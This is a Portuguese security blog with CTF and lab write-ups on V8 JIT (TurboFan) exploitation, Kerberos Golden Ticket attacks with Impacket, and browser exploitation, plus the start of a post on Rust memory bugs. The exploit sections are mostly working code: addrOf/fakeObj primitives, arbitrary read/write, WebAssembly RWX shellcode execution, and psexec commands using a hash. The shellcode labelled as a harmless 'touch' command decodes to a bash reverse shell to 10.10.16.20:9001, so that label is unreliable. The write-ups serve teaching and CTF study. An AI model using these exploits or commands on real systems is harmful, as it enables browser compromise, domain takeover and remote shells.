Harddisk

[PT-BR] JIT, lutando contra dragões

Sat, 13 Aug 2022 00:00:00 +0000

Esse post é uma continuação do último post sobre exploração de navegadores, caso você não esteja familiarizado com o tema, recomendo que o leia para se acomodar no assunto.

JIT (just-in-time compiler)

Compilação e execução

Para qualquer tipo de programa, sempre é necessário que, em algum momento, tudo se transforme em assembly, isso pode ocorrer de diversas formas dependendo da abordagem da linguagem. Em C, por exemplo, escrevemos nosso código e compilamos-o, fazendo uma conversão direta de código para linguagem de máquina(ahead-of-time compiler), mas em linguagens mais high level, como python, JS ou java, existe um meio-termo antes desta fase final.

Normalmente nesses casos, ao invés de se compilar para linguagem de máquina, o código em javascript, por exemplo, é transformado em “bytecode”, que é basicamente um “assembly” que sera entendido por uma “máquina virtual”, como uma máquina de registradores. Esses termos podem parecer estranhos e um pouco complexos, pois são termos mais comuns na área de compiladores e desenvolvimento de linguagens, mas podemos ter uma compreensão melhor com o seguinte pseudo-código:

// opcodes, valores completamente arbitrarios
#define LOAD 0x10
#define PRINT 0x11
#define EXIT 0x1

void execute_bytecode(uint8_t *code, uint32_t code_size) {
  int instruction_pointer = 0; // um instruction pointer, assim como em assembly
  int machine_register = 0; // um registrador
  // enquanto o intruction pointer for menor que o tamanho total da memória, continua executando
  while (instruction_pointer < code_size) {
    // ler o opcode a partir da "memória", no caso, a variavel
    // code com o offset do instruction_pointer
    uint8_t opcode = code[instruction_pointer];
    instruction_pointer++; // incrementa o instruction_pointer
    switch (opcode) { // executa algum opcode
      case LOAD:
        // carrega para o unico registrador o que estiver na memória
        machine_register = code[instruction_pointer++];
        break;
      case PRINT:
        // printa o registrador
        printf("%x\n", machine_register);
        break;
      case EXIT:
        // termina a execução
        exit(machine_register);
        break;
      default:
        // opcode não encontrado
        exit(-1);
    }
  }
}

O exemplo acima pode ser considerado uma máquina de registradores mínima, as únicas coisas que ela consegue fazer é carregar algum valor para o seu único registrador, mostrar o valor do mesmo e terminar sua execução. Linguagens como python, JS e Java, implementam máquinas virtuais parecidas com o mesmo conceito, porem, extremamente mais complexas.

Usando desta técnica, ganhamos em alguns pontos, como flexibilidade e criação dinâmica de código(como um eval em js e python), porem se perde em um ponto extremamente crítico, a performasse. Como uma tentativa para minimizar a questão desse ponto, uma solução amplamente aplicada é o JIT.

De forma extremamente resumida, JIT é um compilador que transforma bytecode para linguagem de máquina em tempo de execução.

Não sera abordado de forma muito aprofundada esse assunto de compiladores, porem caso tenha ficado interessado no mesmo, aqui você pode encontrar referências de estudo.

De JS para assembly

A maioria dos comentários serão focados para o TurboFan, compilador JIT do v8, porem muitas das coisas aqui são repetidas em outros casos como o IonMonkey(JIT do firefox) ou do JavaScriptCore.

O processo de compilação é caro do ponto de vista computacional, pois existe um gasto de processamento e memória adicional, logo, não faz sentido chamar o JIT para todas as funções. Normalmente, as engines JS declaram um número de vezes mínimo que uma função precisa ser chamada para ser marcada como “quente”(hot), e então, ser compilada.

Porem, algo que até aqui você pode ter se questionado, como podemos compilar um código de uma função em uma linguagem de tipagem dinâmica?
Podemos tomar o seguinte código de exemplo:

function add(a, b) {
  return a + b;
}


Como iremos compilar isso para assembly?

Reafirmando o problema da tipagem dinâmica, os resultados dessa função podem ser vários, como:

add(5, 8);     // 13
add("A", "B"); // "AB"
add([1], [2]); // "12"
...

Tirando da própria especificação ECMAScript, podemos ter mais de dez interpretações para o operador +.

Desta forma, a solução amplamente implementada é a especulação. O JIT especula, determinando quais tipos de variáveis foram recebidos pela função até ser marcada como “hot” e as usando para a compilação.

Podemos olhar mais de perto esse processo:

// forçando que "add" sejá otimizado/compilado, treinando o especulador para Smi(small integer)
for (var _ = 0; _ < 100_000; _++) {
  add(5, 8);
}
// ---

// "trick" para o d8(shell do v8) com a flag "--allow-natives-syntax":
// Da para o compilador o feedback para especular que "a" e "b" são Smi's
%PrepareFunctionForOptimization(add);
add(5, 8);
// E força a compilação
%OptimizeFunctionOnNextCall(add);
add(5, 8);

Apos o exemplo acima, o JIT define algo semelhante a:

function add(a: Smi, b: Smi) {
  return a + b;
}

Especulando que os parâmetros a e b sejam sempre Smi(small integer), a função é efetivamente compilada para assembly, o código final não sera muito diferente de:

// os números aqui são tratados como double pois
// todos os números no v8 são floats de 64 bits
double add(double a, double b) {
  return a + b;
}

Porem… Iremos nos esbarrar em mais um problema, oque ira acontecer se executarmos algo parecido com:

for (var _ = 0; _ < 100_000; _++) {
  add(5, 8);
}

add([], 10);

Agora iremos para mais um subtópico importantíssimo, Sanity checks

Sanity checks

No momento em que add é uma função em assembly, como iremos tratar a variação de tipos e a confusão da especulação?
A engine ira implementar os bailout’s, pequenos trechos que iram validar se os inputs serão validos, e em caso negativo, a execução sera retomada para o interpretador, ou seja, Deoptimization. Podemos ver alguns exemplos do que esses trechos de códigos validam como:

Smi
valida o pointer tag, logo, se o LSB for diferente de zero, o valor não se trata de um Smi.
Object
Valida se o shape é o mesmo que foi especulado.
…

Uma validação importante salientar são as validações de Range(), existem casos onde o compilador especula um valor mínimo/máximo para um inteiro, e então, só ira ocorrer Deoptimization caso esse range seja invalido, exemplo:

function bug(index) {
  arr = new Array(10);
  return arr[index];
}

O index não pode ser maior que 9(ultimo index), e para isso, é gerado um código de bailout para validar isso. Porem, vamos olhar esse outro exemplo:

function bug(index) {
  arr = new Array(10);
  index = index % 10;
  return arr[index];
}

É impossível que index seja maior que 10, pois está sendo realizado uma operação de módulo, logo, não é necessário o código de bailout. Porem, nesse caso, estamos confiando em alguma previsão do compilador, se conseguirmos engana-lo, teríamos facilmente um read/write oob.

Bugs

Como pudermos ver, o processo de compilação e otimização é extremamente complexo e, por mais que existam diversos sanity checks, contextos específicos, build-in’s e side-effect’s podem causar bugs e confusões inesperadas. Outro ponto que torna o estudo e busca desse tipo de bug muito mais atrativo é o seu uso para exploração de navegadores e o grande impacto desse tipo de vulnerabilidade.

Podemos discorrer sobre alguns bugs para demonstrar algumas similaridades e seus tipos.

Os links de bugs reais anexados foram colocados como referências, mas é mais recomendável terminar de ler esse artigo antes de estudar essas fontes, por se tratarem de conteúdos mais avançados

Wrong optimization

Durante o processo de compilação, assim como em compiladores AoT(ahead-of-time) tradicionais, existe um esforço constante para otimizações, e caso seja possível, remover código não necessário, como no exemplo:

let r = 0;
for(var i = 0; i < 10; i++) {
  r += i;
}

Se você olhar esse loop, pode perceber que todos os valores são estáticos e o resultado previsível, logo, podemos otimizar esse trecho de código da seguinte forma:

let r = 0;
// for(var i = 0; i < 10; i++) {
//  r += i;
// }
r += 45;

Porem, isso pode ocasionar bugs caso essa otimização seja feita de foram errada e alterar um valor considerado “seguro”, ou seja, o especulador pode determinar que um parâmetro sempre sera Range(1, 5), e por essa razão, não gerar bailout para acessar um Array(10), mas por ocasião de um bug desse, teremos um oob.

Bug real

Side effect

Existem casos onde prototype’s e constructor’s interferem na execução de um certo código, porem, isso pode ser manipulado para ser acessado uma posição não esperada em um array, por exemplo, misturando uma função compilada e um prototype de uma função genérica.

Bug real

Type Confusion

Uma certa corrupção de memória ou confusão pode levar a um array ser interpretado como um objeto ou vise versa(por exemplo), e isso é o suficiente para corromper atributos como length e nos levar a um read/write oob.

Bug real

Exploitation

Agora que temos uma base mais solida sobre todo contexto de compilação JIT, podemos utilizar um challenge para ver tais conceitos de forma mais aplicada. Usarei um chall do PicoCTF 2021, por se tratar de uma falha de complexidade não muito elevada e pode ser um bom exemplo para nosso contexto.

Challenge

Teremos um arquivo de patch para o TurboFan. A principal modificação nesse patch é a remoção de certas valodações para Deoptimization:

--- a/src/compiler/effect-control-linearizer.cc
+++ b/src/compiler/effect-control-linearizer.cc
@@ -1866,8 +1866,9 @@ void EffectControlLinearizer::LowerCheckMaps(Node* node, Node* frame_state) {
       Node* map = __ HeapConstant(maps[i]);
       Node* check = __ TaggedEqual(value_map, map);
       if (i == map_count - 1) {
-        __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
-                           frame_state, IsSafetyCheck::kCriticalSafetyCheck);
+        // This makes me slow down! Can't have! Gotta go fast!!
+        // __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
+        //                     frame_state, IsSafetyCheck::kCriticalSafetyCheck);
       } else {
         auto next_map = __ MakeLabel();
         __ BranchWithCriticalSafetyCheck(check, &done, &next_map);

Desta forma, é introduzido uma falha simples de Wrong optimization, fazendo com que possamos confundir Arrays de floats(64 bits) com Arrays de objetos(32 bits, pointer compression), pois em caso de divergência de Map’s, a Deoptimization simplesmente não ocorrerá.

PoC

Vamos tentar fazer uma prova de conceito e explorar tal bug:

function bug(array, index) {
  return array[index];
}

function main() {
  var temp = {"prop": 1};
  var a = [1.1, 1.2]; // float array
  var b = [temp, temp]; // object array
  for (var i = 0; i < 100_000; i++) {
    bug(a, 0); // Treinando o especulador para float array's
  }

  console.log(bug(b, 1)); // entregando um array de objs
}

Essa parece uma PoC bem consistente e simples, não? Porem existe um problema neste exemplo, a função bug é muito curta e por motivos de otimização, o v8 prefere fazer inline dela para simplificar o fluxo. Então vamos tentar novamente:

function bug(array, index) {
  // junk para a função não se tornar _inline_
  for(var i = 0; i < 10; i++) {
    i += 2;
  }
  return array[index];
}

function main() {
  var temp = {"prop": 1};
  var a = [1.1, 1.2]; // float array
  var b = [temp, temp]; // object array
  for (var i = 0; i < 100_000; i++) {
    bug(a, 0); // Treinando o especulador para float array's
  }

  console.log(bug(b, 1)); // entregando um array de objs
}

Agora, ao testar esse trecho de código com o patch do challenge, iremos notar algo:

# ./d8 --shell ./exp.js
V8 version 9.1.0 (candidate)
d8> main()
4.763796150676412e-270
undefined
d8>

Podemos ver que o endereço do objeto está sendo tratado como um número float, a partir desse ponto, craftar primitivas essenciais de addrOf e fakeObj será trivial.
Primeiro vamos criar duas variações do código da PoC, uma para read e outra para write:

function read_bug(array, index) {
  // junk para a função não se tornar _inline_
  for (var i = 0; i < 1; i++) {
    i += 2;
  }
  return array[index];
}

function write_bug(array, index, val) {
  // junk para a função não se tornar _inline_
  for (var i = 0; i < 1; i++) {
    i += 2;
  }
  array[index] = val;
}

Seguido disso, podemos criar uma função simples para triggar o bug e chamar o JIT para nossas funções

function trigger_bug() {
  var a = [1.1, 1.2]; // float array
  for (var i = 0; i < 100_000; i++) {
    read_bug(a, 0); // Treinando o especulador para float array's
    write_bug(a, 0, 1.2); // Treinando o especulador para float array's
  }
}

Agora iremos usar nossas funções de leitura e escrita para conseguir os artefatos necessários para as primitivas

trigger_bug();
var temp = { "prop": 1 }; // apenas para o array de objs
var obj_map_leak = [temp, temp]; // cria um array de objs
// read_bug ira ler o array como um float, vazando um endereço
//! info: o "& 0xffffffffn" serve para pegar apenas os 32bits mais baixos
var obj_map = ftoi(read_bug(obj_map_leak, 1)) & 0xffffffffn;
//! info: o ">> 32n" serve para pegar apenas os 32bits mais altos
// ex: 0xf1f1f1f1f2f2f2f2 >> 32 == 0xf1f1f1f1
var fixed_arr_prop = ftoi(read_bug(obj_map_leak, 1)) >> 32n;
// No v8, o float map fica em um offset fixo de 0x50 do Map de objetos
var float_map = obj_map - 0x50n;

Com os endereços dos Maps, podemos criar as primitivas de addrOf e fakeObj

function addrOf(obj) {
  obj_arr = [obj, obj];
  // Sobreescreve o Map do obj_arr para o float_map
  write_bug(obj_arr, 1, itof((fixed_arr_prop << 32n) + float_map));
  // acessa o endereço
  addr = (ftoi(obj_arr[0]) & 0xffffffffn);
  obj_arr = [temp, temp];
  return addr;
}

function fakeObj(addr) {
  obj_arr = [temp, temp];
  // escreve o endereço recebido como primeiro elemento do array
  write_bug(obj_arr, 0, itof(BigInt(addr)));
  fake = obj_arr[0];
  obj_arr = [temp, temp];
  return fake;
}

E pronto, temos exatamente tudo que precisamos, finalizaremos a seguir o exploit da mesma forma que fizemos no último post:

var fake_arr = [itof(float_map), 1.2, 1.3, 1.4];
var fake = fakeObj(addrOf(fake_arr) - 0x20n);
...
var rwx_page_addr = ftoi(read(addrOf(wasm_instance) + 0x68n));
var shellcode = [
  // msfvenom -p <your payload> --format dword
];
copy_shellcode(rwx_page_addr, shellcode);
wasm_exec_shellcode();

O exploit final pode ser acessado no github da harddisk.

Esse post foi uma introdução a JIT e exploit um pouco mais complexos, futuramente terão mais posts a cerca de exploração de navegadores de formas mais complexas e em outros módulos, como IPC, HTML parser e outros, espero q tenha gostado e em caso de qualquer duvida pode, nossa comunidade no discord está aberta!

Referencias

Exploiting Logic Bugs in JavaScript JIT Engines
- http://phrack.org/issues/70/9.html
Attacking Client-Side JIT Compilers
- https://youtu.be/emt1yf2Fg9g
Speculation in JavaScriptCore
- https://webkit.org/blog/10308/speculation-in-javascriptcore/
Introduction to TurboFan
- https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/
Turboflan PicoCTF 2021 Writeup (v8 + introductory turbofan pwnable)
- https://www.willsroot.io/2021/04/turboflan-picoctf-2021-writeup-v8.html

Referencias para estudo de compiladores

Linguagem Compilada vs Interpretada | Qual é melhor?
- https://youtu.be/SNyh-cubxaU
Compiladores - Curso Completo
- https://youtube.com/playlist?list=PLjcmNukBom6--0we1zrpoUE2GuRD-Me6W

Autor do post: R3tr0

[PT-BR] Golden Ticket

Wed, 05 Jan 2022 00:00:00 +0000

Golden Ticket.

Bom, para iniciarmos o nosso estudo sobre Golden Ticket, nós vamos definir o processo do aprendizado em etapas:

O que é Kerberos?
O que é um Ticket?
Como isso funciona?
O que é ataque de Golden Ticket?
O que é Impacket?
Como faço o ataque?

Iniciando pela primeira etapa, vamos definir o que é Kerberos. O mesmo se trata de um protocolo de rede onde fornece autenticação ao usuário solicitado. O foco da criação do Kerberos foi tratar de maneira segura a autenticação do usuário na rede.

Com a intenção de tratar de maneira segura a autenticação de um usuário na rede, o Kerberos utiliza de uma feature chamada de Ticket. O Ticket irá funcionar para verificar e autorizar a autenticidade daquele usuário, comprovando de que aquele usuário é de fato ele mesmo.

Em um ambiente de Active Directory, todo Domain Controller (DC) possui um centro de distribuição de Kerberos, ou Kerberos Distribution Center (KDC), serviço que processa todas as requisições para o Kerberos. Com isso, há uma conta chamada KRBTGT, usuário responsável para atuar como uma conta serviço para o KDC. É ela que irá assinar/criptografar tickets emitidos pelo KDC.

Outro componente importante é o Authentication Server (AS). É nele que ocorre a verificação do cliente. Caso a verificação seja concluída com êxito, ele retorna para o usuário um ticket chamado TGT (Ticket Granting Ticket) ****e uma chave de sessão.

O TGT é o ticket utilizado para confirmar que o usuário foi de fato autenticado com sucesso. Outro componente importante do processo é o TGS (Ticket Granting Server). É exatamente o TGS que permitirá que o usuário acesse os serviços da rede. Abaixo, há uma ilustração de como ocorre o processo:

funcionamento do kerberos

Como vimos, o cliente (usuário legítimo) envia o seu usuário para o AS (Authentication Server), e o mesmo retorna uma chave de sessão e o Ticket (TGT). Com o TGT em mãos, o cliente retorna para o AS o TGT e uma requisição para o serviço que ele quer usar. Caso o TGT for válido, o AS irá retornar para o cliente o Ticket que permitirá ele utilizar os serviços da rede. Feito isso, o usuário conseguirá utilizar os serviços da rede.

Como vimos, o AS retorna para o usuário a chave de sessão e o TGT para confirmar que de fato ele foi autenticado na rede e que ele é de fato quem ele diz ser. Mas, caso burlássemos esse mecanismo e forjássemos o TGT para se passar por outro usuário, o que aconteceria? Elevaríamos privilégios no sistema? A resposta é sim, e o nome disso é ataque de Golden Ticket.

O Impacket é uma coleção de scripts feitos em python, sendo possível ser encontrada no GitHub, focadas em invasões em protocolos de redes comumente em ambientes Windows. Nessa coleção, é encontrada o que precisamos para realizar o ataque de Golden Ticket. Vamos pra prática? 🐙

Com isso, avançamos para a primeira etapa do ataque: a criação do Ticket. Para criarmos nosso TGT, utilizamos o script getTGT.py para forjarmos o TGT e criarmos um com um usuário com um privilégio maior que o nosso (no meu caso, vai ser o usuário web_svc que possui privilégio de administrador).

O que fizemos abaixo foi rodar o script “getTGT.py” (disponível no Impacket), especificar a hash do usuário, o domínio da vítima e o nome de usuário.

exemplo getTGT

#python2 getTGT.py -hashes :acd9325ab546d6870e3d490684cfe305 relay.uhclabs/svc_webapp

python2 getTGT.py -hashes :HASH_DO_USUARIO DOMAIN/USUARIO
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in svc_webapp.ccache

Com isso, agora nós exportamos para nosso localhost o Ticket gerado pelo script com o seguinte comando:

#export KRB5CCNAME=svc_webapp.ccache
export KRB5CCNAME=TICKET_GERADO

Agora, nós sincronizamos nosso horário com o da máquina com esse comando (tal fato se deve pelo Timestamp do Ticket gerado. É este Timestamp que vai realizar a marcação do tempo atual do servidor, por isso a sincronização com o horário.):

# sudo ntpdate 172.31.28.153
sudo ntpdate IP_DA_MAQUINA_ALVO

Abaixo, especificamos o domínio da máquina, o usuário que forjamos o Ticket, o nome do Domain Controller (DC) e dois argumentos essenciais: “-k” e “-no-pass”. O “-k” vem de “Kerberos Authentication”, onde o mesmo vai utilizar o “.ccache” que nós geramos com o script getTGT.py. E o “-no-pass” simplesmente é para não perguntar a senha.

E finalmente, vamos pegar a shell! Vamos utilizar o psexec e passar o nosso Ticket forjado para nos autenticarmos no serviço!

#python2 psexec.py relay.uhclabs/svc_webapp@EC2AMAZ-HDQ6ICO.RELAY.UHCLABS -k -no-pass
python2 psexec.py DOMAIN/USUARIO@DOMAIN_CONTROLLER -k -no-pass
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on EC2AMAZ-HDQ6ICO.RELAY.UHCLABS.....
[*] Found writable share ADMIN$
[*] Uploading file SgxvJTis.exe
[*] Opening SVCManager on EC2AMAZ-HDQ6ICO.RELAY.UHCLABS.....
[*] Creating service apKU on EC2AMAZ-HDQ6ICO.RELAY.UHCLABS.....
[*] Starting service apKU.....
[!] Press help for extra shell commands

E assim, conseguimos realizar um ataque de Golden Ticket!

exploit final

Autor do post: march0

[PT-BR] Browser Exploitation

Mon, 11 Oct 2021 00:00:00 +0000

Essa será uma introdução ao tema de browser exploitation, pórem é recomendado um conhecimento prévio de C, javascript e uma boa noção de ponteiros.

Browser Exploitation

A ideia principal para a exploração de navegadores continua sendo a mesma para a exploração de binários normais, o objetivo é sempre achar um ou mais bugs, os quais serão usados para conseguir duas primitivas essenciais, arbitrary read e arbitrary write, com isso o próximo passo seria um desvio de fluxo para um código malicioso, podendo ser um shellcode ou uma ropchain.
pórem as técnicas e algumas formas de obter essas primitivas podem se diferenciar na exploração de browsers.

Cada navegador tem sua implementação única e com suas peculiaridades, vou fazer um overview sobre os principais componentes do navegador e após isso me aprofundar no chrome, por ser um dos mais usados.

Browser internals

Como as coisas funcionam

De forma abstrata, os navegadores se organizam mais ou menos dessa forma:

User Interface
Essa é a interface de comunicação com o usuário final, ou seja, barra de pesquisa, botões, favorito, etc.
Browser Engine
O Browser Engine tem a função de comunicação entre os outros componentes.
Rendering Engine
De forma autodescritiva, essa engine tem a função de renderizar oque está sendo requisitado, HTML, XML, PDF e assim por diante.
Networking
Não diferente do último tópico, esse componente também é bem autodescritiva, sua função é basicamente lidar com conexões HTTP, TCP, WebSocket e outros protocolos.
Também faz parte desse módulo o cache de informações para diminuir o tráfego necessário.
UI Backend
Usada para criar componentes visuais independentes de SO, como inputs ou buttons.
JavaScript Engine
Esse módulo é responsável por parsear e executar o javascript, esse será o alvo de maiores estudos nesse post.
Data Storage
Essa é a camada de persistência. Cookies, localStorage, cache, indexDB e semelhantes estarão aqui.

Esse foi um overview rápido para podermos entrar em uma módulo especifico, o JavaScript Engine

JavaScript Engine (V8 internal)

Cada navegador possui seu próprio Engine, então eu usarei o v8, engine do chrome, para conseguir dar exemplos mais concretos.

Objetos e Ponteiros

No v8, todos os valores são armazenados na heap, independente do seu tipo (strings, arrays, números e etc), isso significa que tudo é representado como ponteiros e como uma tentativa de poupar memoria o v8 usa uma técnica chamada compressão de ponteiro, a qual tem uma função bem autodescritiva, comprimir o tamanho de um ponteiro. Mas como isso é possível? Segundo as palavras do próprio blog do v8:

A compactação de ponteiro é um dos vários esforços em andamento no V8 para reduzir o consumo de memória. A ideia é muito simples: em vez de armazenar ponteiros de 64 bits, podemos armazenar deslocamentos de 32 bits de algum endereço “base”.

Parte dessa implementação usa outra técnica chamada de pointer tagging, onde para diferenciar um endereço de um Smi (small integer) existe uma “tag”, isso é representado como um bit 1 no LSB. Dessa forma, ponteiros se parecem com isso na memória:

// pointer
0x02ae456d6e91
// endereço para onde aponta
0x02ae456d6e90

Arrays na memoria

// var array = [1, 2, 3, 4]

       A JSArray object                      A FixedArray object
+-----------------------------+       +------------------------------+
|                             |       |                              |
|         Map Pointer         |   +-->+         Map Pointer          |
|                             |   |   |                              |
+-----------------------------+   |   +------------------------------+
|                             |   |   |                              |
|      Properties Pointer     |   |   |     Backing Store Length     |
|                             |   |   |                              |
+-----------------------------+   |   +------------------------------+
|                             |   |   |                              |
|       Elements Pointer      +---+   |          0x00000002          | index 0
|                             |       |                              |
+-----------------------------+       +------------------------------+
|                             |       |                              |
|        Array Length         |       |          0x00000004          | index 1
|                             |       |                              |
+-----------------------------+       +------------------------------+
|                             |       |                              |
| Other unimportant fields... |       |          0x00000006          | index 2
|                             |       |                              |
+-----------------------------+       +------------------------------+
                                      |                              |
                                      |          0x00000008          | index 3
                                      |                              |
                                      +------------------------------+
Ref:
"https://www.elttam.com/blog/simple-bugs-with-complex-exploits/#arrays-in-v8"

JSArray é o real objeto a qual a variável array aponta, nele existem vários campos importantes, entre eles podemos enumerar os mais importantes:

Map Pointer:
Essa propriedade determina o “shape” do array, semelhante a uma struct, definindo os tipos das suas propriedades.
Properties pointer
Basicamente aponta para as propriedades as quais o array pode ter.
Elements Pointer
Finalmente o lugar o qual aponta para os valores de fato.
Array Length
De forma nada surpreendente, esse é o tamanho do array, propriedade que pode ser muito útil em alguns casos, como um overwrite nela pode te liberar um read/write OOB.

Agora que temos uma ideia melhor de como tudo está alocado e funcionando por baixo dos panos, podemos continuar para o próximo passo.

Exploitation 😎

Eu usarei uma máquina do HTB, a rope2, para utilizar uma falha induzida como exemplo

Basicamente vamos ter um arquivo de patch adicionando 2 funções build-in em arrays (ArrayGetLastElement e ArraySetLastElement), pórem elas têm um erro simples de lógica, para acessar o “LastElement” é usado o tamanho do array, no entretanto sem levar em conta que o valor inicial em arrays é 0, irei demonstrar o erro com o seguinte pseudo código:

//            0    1    2    3    4
var array = ["a", "b", "c", "d", "e"]

var arraySize = array.length // 5
var lastElement = array[arraySize] // ??

Com isso podemos ler e escrever após o nosso array, pórem como podemos fazer isso se transformar em uma primitiva read/write?

Técnicas

Quando se trata de browser exploitation, nosso objetivo é sempre adquirir duas “semi primitivas”, a address of e o fake object.

Address of

Essa técnica tem o objetivo bem claro, adquirir o endereço de uma variável, para isso devemos criar um array de doubles e converter ele para um array de objetos, após isso adicionar a variável que queremos o endereço e convertemos novamente para doubles, assim teremos o ponteiro da variável e não mais a variável em si.
pseudo código:

var array = [1.1, 1.2, 1.3] // double array

// trigga algum bug para realizar essa converção
do_magic(array) // object array

var find_me = { prop: "value" }

// array[1] = pointer => find_me
array[1] = find_me

do_magic(array) // double array

// agora não seguimos mais o ponteiro pois ele esta sendo
// intepretado como um float, assim podemos ler diretamente o endereço
array[1]

Fake Object

O fake object tem uma ideia extremamente semelhante ao address of, funcionando como o oposto dele.
Basicamente ao invés de achar um endereço, nosso objetivo aqui é acessar um endereço qualquer a nossa escolha, usando uma variação da mesma técnica, assim podemos ter o seguinte pseudo código:

var array = [1.1, 1.2, 1.3] // double array

// ALERTA
// Esse ponteiro deve ser "packeado" para 64/32 bits em um cenario real
var pointer = 0xbabebeef

array[1] = pointer // escrevo nosso endereço no array

// trigga algum bug para realizar essa converção
do_magic(array) // object array

// agora temos em "array[1]" um objeto que aponta para o nosso endereço
// com isso temos praticamente um read/write
array[1]

Sem mais magia

Até agora usei uma função do_magic para exemplificar um bug, pórem como todos sabem não existe mágica, então vamos desmistificar essa tal magia.
Na sessão de arrays eu comento sobre uma propriedade chamada Map pointer, a qual define o formato de um array ou objeto. Basicamente nosso objetivo é conseguir sobrescrever essa propriedade ao nosso favor, transformando o array em float ou objeto.

Escrevendo o exploit 🐞

As funções itof e ftoi são simples wrapper de apoio para conversão de float to integer e vise versa
A implementação do fakeObj e addressOf serão disponibilizadas no final do post, mas elas não diferem muito do pseudo código mostrado acima.

Agora já sabemos as técnicas e temos um bug, hora de mão na massa.

Vamos primeiramente criar as variáveis

var tmp_obj = {"A": 1};
var obj_arr = [tmp_obj];
var float_arr = [1.1, 1.2, 1.3];
var float_map = float_arr.GetLastElement(); // Map Pointer do "float_arr"
var obj_map = itof(ftoi(float_map) + 0x50n);  // Map Pointer do "obj_arr"

Estamos pegando os Map pointer’s de um array float e de um objeto para fazer a Mágica de converter os tipos de um array.
Você pode ter percebido que no obj_map eu não estou usando o GetLastElement e sim um deslocamento a partir do float_map, isso pode parecer complexo mas é apenas por um ruído que é gerado com a função vulnerável, em outras palavras estou apenas falando que o map do objeto está 0x50 bytes a frente do float map.

Agora vamos usar as primitivas fakeObj e addressOf

var fake_arr = [float_map, 1.1, 1.2, 1.3];
// fake => Object(fake_arr[0])
var fake = fakeObj(addrOf(fake_arr) - 0x20n);

Assim criamos um novo array onde o primeiro elemento é o float map e criamos um objeto apontando para esse primeiro elemento, o -0x20n é para esse alinhamento.
Temos agora um fake object com propriedades as quais temos controle, em outras palavras:
Read/Write baby 😎
Vamos ver isso de forma mais pratica.
Em fake_arr[1] eu irei escrever um endereço somado com alguns cálculos, assim em fake[0] podemos ler ou escrever para onde o endereço aponta, da seguinte forma:

function read(addr) {
// pointer tagging que foi comentado no começo do post
  if(addr % 2n == 0) {
    addr += 1;
  }

// "8n << 32n" é basicamente um padding
// o -8 é apenas alinhamento
  fake_arr[1] = itof((8n << 32n) + addr - 8n);
  return fake[0];
}

A função write é apenas uma variação dessa com a mesma ideia.

Read, write mas cade a shell?

Em uma exploração normal, o esperado seria sobrescrever a __malloc_hook ou __free_hook, pórem as coisas diferem um pouco durante a exploração de browsers, existem diversas formas de criar uma execução de código nesse contexto.
Eu usarei uma técnica para criar uma página RWX (Read/Write/eXec) com WebAssembly e usarei as primitivas para escrever um shellcode nessa página e assim executá-la.

// https://wasdk.github.io/WasmFiddle/
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var wasm_exec_shellcode = wasm_instance.exports.main;

O wasm_code é apenas um código em WebAssembly para:
int main() { return 0; }
As demais linhas são apenas para iniciar uma instancia.
Agora com uma instancia do WebAssembly podemos preparar para escrever o nosso shellcode:

var rwx_page_addr = ftoi(read(addrOf(wasm_instance) + 0x68n));

function copy_shellcode(addr, shellcode) {
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    let buf_addr = addrOf(buf);
    let backing_store_addr = buf_addr + 0x14n;
    write(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {
      dataview.setUint32(4*i, shellcode[i], true);
    }
}

Não tenho muito o que explicar sobre o código acima, basicamente está usando as primitivas read/write para escrever o shellcode, podemos finalizar nosso exploit da seguinte forma:

// msfvenom -p linux/x64/exec CMD='/usr/bin/touch /tmp/executed_baby' --format dword
var shellcode = [
  0x622fb848, 0x732f6e69, 0x50990068, 0x66525f54, 0x54632d68, 0x39e8525e, 0x2f000000, 0x2f6e6962,
0x68736162, 0x20632d20, 0x73616222, 0x692d2068, 0x20263e20, 0x7665642f, 0x7063742f, 0x2e30312f,
0x312e3031, 0x30322e36, 0x3030392f, 0x3e302031, 0x00223126, 0x5e545756, 0x0f583b6a, 0x00000005
];
copy_shellcode(rwx_page_addr, shellcode);

wasm_exec_shellcode();

O exploit completo pode ser encontrato no github da harddisk.
Esse post é uma introdução ao tema de browser exploitation, o que significa que muita coisa ficou de fora, como sandbox e proteções como PIE, esses temas podem ser abordados futuramente em outros posts, se você curtiu e quer mais conteúdos do tipo pode compartilhar esse post e/ou entrar na comunidade do discord para dar seu feedback.

Referencias

How browsers work and render pages
- https://kleopetrov.me/2018/03/19/how-browsers-work-and-render-pages
Pointer Compression in V8
- https://v8.dev/blog/pointer-compression
Simple bugs with complex exploits
- https://www.elttam.com/blog/simple-bugs-with-complex-exploits/#arrays-in-v8
Exploiting v8: *CTF 2019 oob-v8
- https://faraz.faith/2019-12-13-starctf-oob-v8-indepth

Autor do post: R3tr0

[PT-BR] O desafio de gerenciamento de memoria está resolvido?

Wed, 14 Jul 2021 00:00:00 +0000

Buffer Overflow é passado?

Podemos olhar para linguagens mais novas como Go e Rust, que prometem um gerenciamento de memoria seguro e com otima performace, principalmente rust, que é uma linguagem emergente que visa prevenir bugs de gerenciamento de memória sem sacrificar muita eficiência e pensar:

Buffer overflow é passado.

Porem, sera que podem prometer tal proteção?

Esse post ira focar no estudo de CVE’s da linguagem Rust

Overview

Gerenciamento de memoria seguro

De acordo com o relatório estatístico do MITRE, os bugs de gerenciamento de memoria são enumerados entre os principais tipos de vulnerabilidades de software.

Em conceito, os bugs de gerenciamento de memoria são causados por acesso arbitrário à memória, podemos enumerar os principais tipos a seguir:

Use-after-free

Apos liberar um ponteiro, o buffer apontado pelo ponteiro sera desalocado ou reciclado.
No entanto, o ponteiro ainda aponta para o endereço de memória desalocado, conhecido como “ponteiro pendente”.
Desreferênciar um ponteiro pendente pode causar problemas de Use-after-free.
